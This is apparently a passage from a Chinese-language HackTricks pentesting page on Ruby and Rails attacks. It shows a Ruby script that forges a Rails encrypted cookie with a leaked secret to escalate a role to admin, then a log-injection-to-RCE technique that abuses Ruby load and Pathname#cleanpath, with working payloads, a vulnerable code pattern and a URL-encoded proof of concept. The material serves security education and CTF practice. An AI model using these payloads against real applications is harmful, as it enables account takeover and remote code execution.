secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
注意事项：
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.

## 另请参阅（Ruby/Rails-specific vulns）

- Ruby 反序列化和类污染：
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Ruby 引擎中的模板注入（ERB/Haml/Slim 等）：
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## 日志注入 → 通过 Ruby `load` 和 `Pathname.cleanpath` 的路径走私实现 RCE

当一个应用（通常是简单的 Rack/Sinatra/Rails 端点）同时满足：
- 原样记录用户控制的字符串，且
- 随后 `load` 一个其路径来源于同一字符串（经过 `Pathname#cleanpath` 之后）的文件，

通常可以通过污染日志并诱使应用 `load` 该日志文件来实现远程代码执行。关键原语：

- Ruby 的 `load` 会将目标文件内容按 Ruby 解析并执行，而不考虑文件扩展名。任何可读的文本文件，只要其内容能被解析为 Ruby，就会被执行。
- `Pathname#cleanpath` 在不访问文件系统的情况下合并 `.` 和 `..` 段，从而实现路径走私：可将攻击者控制的垃圾前缀写入日志，而清理后的路径仍然解析到要执行的目标文件（例如 `../logs/error.log`）。

### 最小易受攻击模式
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

为什么日志可能包含有效的 Ruby 代码

Logger writes prefix lines like:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

在 Ruby 中，# 开始一条注释，9/2/2025 只是算术。要注入有效的 Ruby 代码，你需要：

• 在新行开始你的 payload，这样它不会被 INFO 行中的 # 注释掉；发送一个前导换行符 (\n 或 %0A)。
• 关闭 INFO 行引入的悬空 [。一个常用技巧是以 ] 开始，并可选地用 ][0]=1 让解析器开心。
• 然后放入任意 Ruby 代码（例如 system(...)）。

下面是使用精心构造的参数发出一次请求后，最终会出现在日志中的示例：

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

用单个字符串同时记录代码并解析为日志路径

我们希望得到一个由攻击者控制的字符串，该字符串需要满足：

• 在被原样记录时，包含我们的 Ruby payload，
• 当通过 Pathname.new(<input>).cleanpath 处理时，解析为 ../logs/error.log，因此后续的 load 会执行刚被注入的日志文件。

Pathname#cleanpath 会忽略 schemes 并折叠遍历组件，所以下面的写法可行：

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log

• 在 :// 之前添加 # 可以确保 Ruby 在执行日志时忽略尾部，而 cleanpath 仍会将后缀缩减为 ../logs/error.log。
• 前导换行符会跳出 INFO 行； ] 关闭了攗挂的括号； ][0]=1 满足了解析器。

端到端利用

1. 将以下内容作为 backup script 名称发送（如有需要，请将第一个换行符 URL 编码为 %0A）：

\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log

2. 应用会将你原始的字符串记录到 logs/error.log。
3. 应用会计算 cleanpath，其解析结果为 ../logs/error.log，并对其调用 load。
4. Ruby 会执行你注入到日志中的代码。

要在类似 CTF 的环境中外传文件：

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC（第一个字符为换行符）：

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

参考资料

• Rails 安全公告：CVE-2025-24293 Active Storage 不安全的 transformation 方法 (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)
• GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610)
• Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
• Ruby Pathname.cleanpath 文档
• Ruby Logger 文档
• Ruby 中 load 的工作原理
• Rack multipart ReDoS 公告 (CVE-2024-25126)
• Ruby 关于 CGI / URI 的安全公告 (CVE-2025-27219/27220/27221)

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

• 查看 订阅计划!
• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。